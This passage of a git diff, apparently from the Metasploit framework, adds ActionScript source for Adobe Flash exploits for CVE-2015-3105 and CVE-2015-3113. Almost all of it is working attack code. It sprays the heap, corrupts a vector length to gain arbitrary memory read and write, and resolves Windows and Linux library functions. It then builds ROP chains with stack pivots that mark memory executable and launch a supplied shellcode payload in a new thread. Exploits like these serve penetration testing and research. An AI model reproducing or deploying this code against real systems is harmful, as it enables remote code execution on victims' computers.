xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7ffd0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7ffd0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7ffd0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_linux():void + { + Logger.log("[*] Exploiter - do_rop_linux()") + var flash:Elf = new Elf(eba, vtable) + var feof:uint = flash.external_symbol('feof') + var libc:Elf = new Elf(eba, feof) + var popen:uint = libc.symbol("popen") + var mprotect:uint = libc.symbol("mprotect") + var mmap:uint = libc.symbol("mmap") + var clone:uint = libc.symbol("clone") + var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff) + var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff) + var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff) + + // Continuation of execution + // 1) Recover original vtable + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + // 2) Recover original stack + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi + + // my_memcpy + eba.write(buffer + 0x60, "\x56", false) // push esi + eba.write(0, "\x57", false) // push edi + eba.write(0, "\x51", false) // push ecx + eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10] + eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14] + eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18] + eba.write(0, "\xF3\xA4", false) // rep movsb + eba.write(0, "\x59", false) // pop ecx + eba.write(0, "\x5f", false) // pop edi + eba.write(0, "\x5e", false) // pop esi + eba.write(0, "\xc3", false) // ret + + // Put the popen parameters in memory + eba.write(payload_address + 0x8, payload, true) // false + + // Put the fake stack/vtable on memory + eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot + eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi + eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024 + + // Return to mprotect() + eba.write(stack_address + 0x18034, mprotect) + // Return to stackpivot (jmp over mprotect parameters) + eba.write(0, addesp2cret) + // mprotect() arguments + eba.write(0, buffer) // addr + eba.write(0, 0x1000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + + // Return to mmap() + eba.write(stack_address + 0x18068, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() code segment arguments + eba.write(0, 0x70000000) // 0x70000000 + eba.write(0, 0x4000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, 0xffffffff) // filedes + eba.write(0, 0) // offset + + // Return to mmap() + eba.write(stack_address + 0x1809c, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() stack segment arguments + eba.write(0, 0x70008000) // NULL + eba.write(0, 0x10000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, -1) // filedes + eba.write(0, 0) // offset + + // Return to memcpy() + eba.write(stack_address + 0x180d0, buffer + 0x60) + // Return to stackpivot (jmp over memcpy parameters) + eba.write(0, addesp2cret) + // memcpy() parameters + eba.write(0, 0x70000000) + eba.write(0, payload_address + 0x8) + eba.write(0, payload.length) + + // Return to clone() + eba.write(stack_address + 0x18104, clone) + // Return to CoE (fix stack and object vtable) + eba.write(0, buffer + 0x10) + // clone() arguments + eba.write(0, 0x70000000) // code + eba.write(0, 0x7000bff0) // stack + eba.write(0, 0x00000100) // flags CLONE_VM + eba.write(0, 0) // args + + //call DWORD PTR [eax+0x24] + //EAX: 0x41414141 ('AAAA') + //EDI: 0xad857088 ("AAAA\377") + eba.write(main, stack_address + 0x18000) + exploit.hasOwnProperty('msf') + } + + private function cleanup():void + { + Logger.log("[*] Exploiter - cleanup()") + spray = null + stack = null + payload_space = null + eba = null + ev = null + exploit = null + System.pauseForGCIfCollectionImminent(0) + } + } +} diff --git a/external/source/exploits/CVE-2015-3105/Logger.as b/external/source/exploits/CVE-2015-3105/Logger.as new file mode 100644 index 0000000000..16c0447973 --- /dev/null +++ b/external/source/exploits/CVE-2015-3105/Logger.as @@ -0,0 +1,32 @@ +package +{ + import flash.external.ExternalInterface + + public class Logger { + private static const DEBUG:uint = 0 + + public static function alert(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("alert", str); + } + } + + public static function log(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("console.log", str); + } + } + } +} diff --git a/external/source/exploits/CVE-2015-3105/PE.as b/external/source/exploits/CVE-2015-3105/PE.as new file mode 100644 index 0000000000..8753586477 --- /dev/null +++ b/external/source/exploits/CVE-2015-3105/PE.as @@ -0,0 +1,72 @@ +package +{ + public class PE + { + private var eba:ExploitByteArray + + public function PE(ba:ExploitByteArray) + { + eba = ba + } + + public function base(addr:uint):uint + { + addr &= 0xffff0000 + while (true) { + if (eba.read(addr) == 0x00905a4d) return addr + addr -= 0x10000 + } + return 0 + } + + public function module(name:String, addr:uint):uint + { + var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1 + var mod_name:String + + while (true) { + var entry:uint = eba.read(iat + (++i) * 0x14 + 12) + if (!entry) throw new Error("FAIL!"); + mod_name = eba.read_string(addr + entry, name.length) + if (mod_name.toUpperCase() == name.toUpperCase()) break + } + return base(eba.read(addr + eba.read(iat + i * 0x14 + 16))) + } + + public function procedure(name:String, addr:uint):uint + { + var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78) + var numberOfNames:uint = eba.read(eat + 0x18) + var addressOfFunctions:uint = addr + eba.read(eat + 0x1c) + var addressOfNames:uint = addr + eba.read(eat + 0x20) + var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24) + var proc_name:String + + for (var i:uint = 0; ; i++) { + var entry:uint = eba.read(addressOfNames + i * 4) + proc_name = eba.read_string(addr + entry, name.length + 2) + if (proc_name.toUpperCase() == name.toUpperCase()) break + } + return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4) + } + + public function gadget(gadget:String, hint:uint, addr:uint):uint + { + var find:uint = 0 + var contents:uint = 0 + var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50) + var value:uint = parseInt(gadget, 16) + + for (var i:uint = 0; i < limit - 4; i++) { + contents = eba.read(addr + i) + if (hint == 0xffffffff && value == contents) { + return addr + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return addr + i + } + } + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2015-3105/pbsrc_bin.pbj b/external/source/exploits/CVE-2015-3105/pbsrc_bin.pbj new file mode 100755 index 0000000000..a2e85456c9 Binary files /dev/null and b/external/source/exploits/CVE-2015-3105/pbsrc_bin.pbj differ diff --git a/external/source/exploits/CVE-2015-3105/test_bin.pbj b/external/source/exploits/CVE-2015-3105/test_bin.pbj new file mode 100755 index 0000000000..7d1b65af5d Binary files /dev/null and b/external/source/exploits/CVE-2015-3105/test_bin.pbj differ diff --git a/external/source/exploits/CVE-2015-3113/Elf.as b/external/source/exploits/CVE-2015-3113/Elf.as new file mode 100644 index 0000000000..ee7283c61c --- /dev/null +++ b/external/source/exploits/CVE-2015-3113/Elf.as @@ -0,0 +1,235 @@ +package +{ + public class Elf + { + private const PT_DYNAMIC:uint = 2 + private const PT_LOAD:uint = 1 + private const PT_READ_EXEC:uint = 5 + private const DT_SYMTAB:uint = 6 + private const DT_STRTAB:uint = 5 + private const DT_PLTGOT:uint = 3 + + private var e_ba:ExploitByteArray + // elf base address + public var base:uint = 0 + // program header address + public var ph:uint = 0 + // number of program headers + public var ph_size:uint = 0 + // program header entry size + public var ph_esize:uint = 0 + // DYNAMIC segment address + public var seg_dynamic:uint = 0 + // DYNAMIC segment size + public var seg_dynamic_size:uint = 0 + // CODE segment address + public var seg_exec:uint = 0 + // CODE segment size + public var seg_exec_size:uint = 0 + // .dynsyn section address + public var sec_dynsym:uint = 0 + // .synstr section address + public var sec_dynstr:uint = 0 + // .got.plt section address + public var sec_got_plt:uint = 0 + + public function Elf(ba:ExploitByteArray, addr:uint) + { + e_ba = ba + set_base(addr) + set_program_header() + set_program_header_size() + set_program_header_entry_size() + set_dynamic_segment() + set_exec_segment() + set_dynsym() + set_dynstr() + set_got_plt() + } + + public function external_symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + var got_plt_index:uint = 0 + + for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4)) + } + if (st_info != 0x11) { + got_plt_index++ + } + } + throw new Error() + } + + public function symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + + for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return base + st_value + } + } + throw new Error() + } + + + public function gadget(gadget:String, hint:uint):uint + { + var value:uint = parseInt(gadget, 16) + var contents:uint = 0 + for (var i:uint = 0; i < seg_exec_size - 4; i++) { + contents = e_ba.read(seg_exec + i) + if (hint == 0xffffffff && value == contents) { + return seg_exec + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return seg_exec + i + } + } + throw new Error() + } + + private function set_base(addr:uint):void + { + addr &= 0xffff0000 + while (true) { + if (e_ba.read(addr) == 0x464c457f) { + base = addr + return + } + addr -= 0x1000 + } + + throw new Error() + } + + private function set_program_header():void + { + ph = base + e_ba.read(base + 0x1c) + } + + private function set_program_header_size():void + { + ph_size = e_ba.read(base + 0x2c, "word") + } + + private function set_program_header_entry_size():void + { + ph_esize = e_ba.read(base + 0x2a, "word") + } + + private function set_dynamic_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + if (p_type == PT_DYNAMIC) { + seg_dynamic = base + e_ba.read(entry + 8) + seg_dynamic_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_exec_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + var p_flags:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + p_flags = e_ba.read(entry + 0x18) + if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) { + seg_exec = base + e_ba.read(entry + 8) + seg_exec_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_dynsym():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_SYMTAB) { + sec_dynsym = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_dynstr():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_STRTAB) { + sec_dynstr = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_got_plt():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_PLTGOT) { + sec_got_plt = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2015-3113/Exploit.as b/external/source/exploits/CVE-2015-3113/Exploit.as new file mode 100755 index 0000000000..552bc6f14c --- /dev/null +++ b/external/source/exploits/CVE-2015-3113/Exploit.as @@ -0,0 +1,114 @@ +package +{ + import flash.display.Sprite + import flash.events.Event + import flash.events.NetStatusEvent + import flash.events.AsyncErrorEvent + import flash.media.Video + import flash.net.NetConnection + import flash.net.NetStream + import flash.utils.getTimer + import flash.utils.ByteArray + import mx.utils.Base64Decoder + import flash.display.LoaderInfo + + public class Exploit extends Sprite + { + private var b64:Base64Decoder = new Base64Decoder() + private var payload:ByteArray + private var platform:String + private var os:String + private var exploiter:Exploiter + + public var bytes:Class; + public var video:Video = new Video(640, 480); + public var vecVectors:Vector.; + + public function Exploit():void { + platform = LoaderInfo(this.root.loaderInfo).parameters.pl + os = LoaderInfo(this.root.loaderInfo).parameters.os + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + payload = b64.toByteArray() + + addChild(video) + var nc:NetConnection = new NetConnection() + nc.addEventListener(NetStatusEvent.NET_STATUS , onConnect) + nc.addEventListener(AsyncErrorEvent.ASYNC_ERROR , trace) + var metaSniffer:Object=new Object() + metaSniffer.onMetaData=getMeta + nc.connect(null) + var ns:NetStream = new NetStream(nc) + ns.client = metaSniffer + video.attachNetStream(ns) + vecVectors = new Vector.(0x1000) + for ( var i:uint = 0; i < vecVectors.length; ++ i ) { + vecVectors[i] = new Vector.((0x2000 - 8) / 4); + vecVectors[i][0] = 0xdeedbeef; + } + + for ( i = 0; i < vecVectors.length; i += 2 ) { + vecVectors[i] = null; + } + + ns.addEventListener(NetStatusEvent.NET_STATUS, statusChanged) + ns.play("poc2.flv") + } + + private function go():void { + var bigVector:Vector. = null; + for ( var i:uint = 0; i < vecVectors.length; i++ ) { + if (vecVectors[i] == null) continue + if ( vecVectors[i].length > (0x2000 - 8) / 4 ) { + bigVector = vecVectors[i] as Vector. + } + } + + if ( null == bigVector ) { + return; + } + + for ( i = 0; i < 0x2000; i++ ) { + if (bigVector[i] == 0x7fe && bigVector[i + 2] == 0xdeedbeef) { + bigVector[0x3fffffff] = bigVector[i + 1] + break + } + } + + for ( i = 0; i < vecVectors.length; i++ ) { + if (vecVectors[i] == null) continue + if (vecVectors[i].length != 0x7fe) { + delete(vecVectors[i]) + vecVectors[i] = null + } + } + + exploiter = new Exploiter(this, platform, os, payload, bigVector, 0x7fe) + } + + private function statusChanged(stats:NetStatusEvent):void { + if (stats.info.code == 'NetStream.Play.Stop') { + WaitTimer(1000) + go() + } + } + + private function getMeta (mdata:Object):void { + video.width=mdata.width/2 + video.height=mdata.height/2 + } + + private function onConnect(e:NetStatusEvent):void { + return + } + + private function WaitTimer(time:int):void{ + var current:int = getTimer() + while (true) { + if ((getTimer() - current) >= time) break + } + } + } +} diff --git a/external/source/exploits/CVE-2015-3113/ExploitByteArray.as b/external/source/exploits/CVE-2015-3113/ExploitByteArray.as new file mode 100644 index 0000000000..a8da46df7b --- /dev/null +++ b/external/source/exploits/CVE-2015-3113/ExploitByteArray.as @@ -0,0 +1,85 @@ +package +{ + import flash.utils.ByteArray + + public class ExploitByteArray + { + private const MAX_STRING_LENGTH:uint = 100 + public var ba:ByteArray + public var original_length:uint + private var platform:String + + public function ExploitByteArray(p:String, l:uint = 1024) + { + ba = new ByteArray() + ba.length = l + ba.endian = "littleEndian" + ba.writeUnsignedInt(0) + platform = p + original_length = l + } + + public function set_length(length:uint):void + { + ba.length = length + } + + public function get_length():uint + { + return ba.length + } + + public function lets_ready():void + { + ba.endian = "littleEndian" + if (platform == "linux") { + ba.length = 0xffffffff + } + } + + public function is_ready():Boolean + { + if (ba.length == 0xffffffff) + return true + + return false + } + + public function read(addr:uint, type:String = "dword"):uint + { + ba.position = addr + switch(type) { + case "dword": + return ba.readUnsignedInt() + case "word": + return ba.readUnsignedShort() + case "byte": + return ba.readUnsignedByte() + } + return 0 + } + + public function read_string(addr:uint, length:uint = 0):String + { + ba.position = addr + if (length == 0) + return ba.readUTFBytes(MAX_STRING_LENGTH) + else + return ba.readUTFBytes(length) + } + + public function write(addr:uint, value:* = 0, zero:Boolean = true):void + { + var i:uint + + if (addr) ba.position = addr + if (value is String) { + for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) + if (zero) ba.writeByte(0) + } else if (value is ByteArray) { + var value_length:uint = value.length + for (i = 0; i < value_length; i++) ba.writeByte(value.readByte()) + } else ba.writeUnsignedInt(value) + } + } +} diff --git a/external/source/exploits/CVE-2015-3113/ExploitVector.as b/external/source/exploits/CVE-2015-3113/ExploitVector.as new file mode 100644 index 0000000000..18aa4778a0 --- /dev/null +++ b/external/source/exploits/CVE-2015-3113/ExploitVector.as @@ -0,0 +1,75 @@ +package +{ + public class ExploitVector + { + private var uv:Vector. + public var original_length:uint + + public function ExploitVector(v:Vector., length:uint) + { + uv = v + original_length = length + } + + public function restore():void + { + uv[0x3ffffffe] = original_length + } + + public function is_ready():Boolean + { + if (uv.length > original_length) + { + return true + } + return false + } + + public function at(pos:uint):uint + { + return uv[pos] + } + + // pos: position where a Vector.[0] lives + public function set_own_address(pos:uint):void + { + uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc + } + + public function read(addr:uint):uint + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + return uv[pos] + } + + public function write(addr:uint, value:uint = 0):void + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + uv[pos] = value + } + + public function search_pattern(pattern:uint, limit:uint):uint + { + for (var i:uint = 0; i < limit/4; i++) { + if (uv[i] == pattern) { + return i + } + } + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2015-3113/Exploiter.as b/external/source/exploits/CVE-2015-3113/Exploiter.as new file mode 100644 index 0000000000..ecbf56fac5 --- /dev/null +++ b/external/source/exploits/CVE-2015-3113/Exploiter.as @@ -0,0 +1,399 @@ +package +{ + import flash.utils.ByteArray + import flash.system.System + + public class Exploiter + { + private const VECTOR_OBJECTS_LENGTH:uint = 1014 + private var exploit:Exploit + private var ev:ExploitVector + private var eba:ExploitByteArray + private var payload:ByteArray + private var platform:String + private var op_system:String + private var pos:uint + private var byte_array_object:uint + private var main:uint + private var stack_object:uint + private var payload_space_object:uint + private var buffer_object:uint + private var buffer:uint + private var vtable:uint + private var stack_address:uint + private var payload_address:uint + private var stack:Vector. = new Vector.(0x6400) + private var payload_space:Vector. = new Vector.(0x6400) + private var spray:Vector. = new Vector.(90000) + + public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector., uv_length:uint):void + { + exploit = exp + payload = p + platform = pl + op_system = os + + ev = new ExploitVector(uv, uv_length) + if (!ev.is_ready()) return + eba = new ExploitByteArray(platform) + spray_objects() + try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; } + ev.set_own_address(pos) + if (!disclose_objects()) { ev.restore(); cleanup(); return; } + disclose_addresses() + corrupt_byte_array() + if (!eba.is_ready()) { ev.restore(); cleanup(); return } + do_rop() + restore_byte_array() + ev.restore() + cleanup() + } + + private function spray_objects():void + { + Logger.log("[*] Exploiter - spray_objects()") + for (var i:uint = 0; i < spray.length; i++) + { + spray[i] = new Vector.(VECTOR_OBJECTS_LENGTH) + spray[i][0] = eba.ba + spray[i][1] = exploit + spray[i][2] = stack + spray[i][3] = payload_space + } + } + + private function search_objects():uint + { + Logger.log("[*] Exploiter - search_objects()") + var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0xac100) + return idx + 1 + } + + private function disclose_objects():Boolean + { + Logger.log("[*] Exploiter - disclose_objects()") + byte_array_object = ev.at(pos) - 1 + main = ev.at(pos + 1) - 1 + stack_object = ev.at(pos + 2) - 1 + payload_space_object = ev.at(pos + 3) - 1 + if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) { + return false + } + return true + } + + private function disclose_addresses():void + { + Logger.log("[*] Exploiter - disclose_addresses()") + if (platform == "linux") + { + buffer_object = ev.read(byte_array_object + 0x10) + buffer = ev.read(buffer_object + 0x1c) + } + else if (platform == "win") + { + buffer_object = ev.read(byte_array_object + 0x40) + buffer = ev.read(buffer_object + 8) + } + vtable = ev.read(main) + stack_address = ev.read(stack_object + 0x18) + payload_address = ev.read(payload_space_object + 0x18) + } + + private function corrupt_byte_array():void + { + Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c) // *array + ev.write(buffer_object + 0x20, 0xffffffff) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8) // *array + ev.write(buffer_object + 16, 0xffffffff) // capacity + } + eba.lets_ready() + } + + private function restore_byte_array():void + { + Logger.log("[*] Exploiter - restore_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c, buffer) // *array + ev.write(buffer_object + 0x20, 1024) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8, buffer) // *array + ev.write(buffer_object + 16, 1024) // capacity + } + eba.set_length(eba.original_length) + } + + private function do_rop():void + { + Logger.log("[*] Exploiter - do_rop()") + if (platform == "linux") { + do_rop_linux() + } else if (platform == "win") { + if (op_system == "Windows 8.1") { + do_rop_windows8() + } else if (op_system == "Windows 7") { + do_rop_windows() + } else { + return + } + } else { + return + } + } + + private function do_rop_windows():void + { + Logger.log("[*] Exploiter - do_rop_windows()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32) + var createthread:uint = pe.procedure("CreateThread", kernel32) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7f6e0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7f6e0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7f6e0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_windows8():void + { + Logger.log("[*] Exploiter - do_rop_windows8()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var advapi32:uint = pe.module("advapi32.dll", flash) + var kernelbase:uint = pe.module("kernelbase.dll", advapi32) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase) + var createthread:uint = pe.procedure("CreateThread", kernelbase) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7ffd0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7ffd0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7ffd0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_linux():void + { + Logger.log("[*] Exploiter - do_rop_linux()") + var flash:Elf = new Elf(eba, vtable) + var feof:uint = flash.external_symbol('feof') + var libc:Elf = new Elf(eba, feof) + var popen:uint = libc.symbol("popen") + var mprotect:uint = libc.symbol("mprotect") + var mmap:uint = libc.symbol("mmap") + var clone:uint = libc.symbol("clone") + var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff) + var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff) + var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff) + + // Continuation of execution + // 1) Recover original vtable + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + // 2) 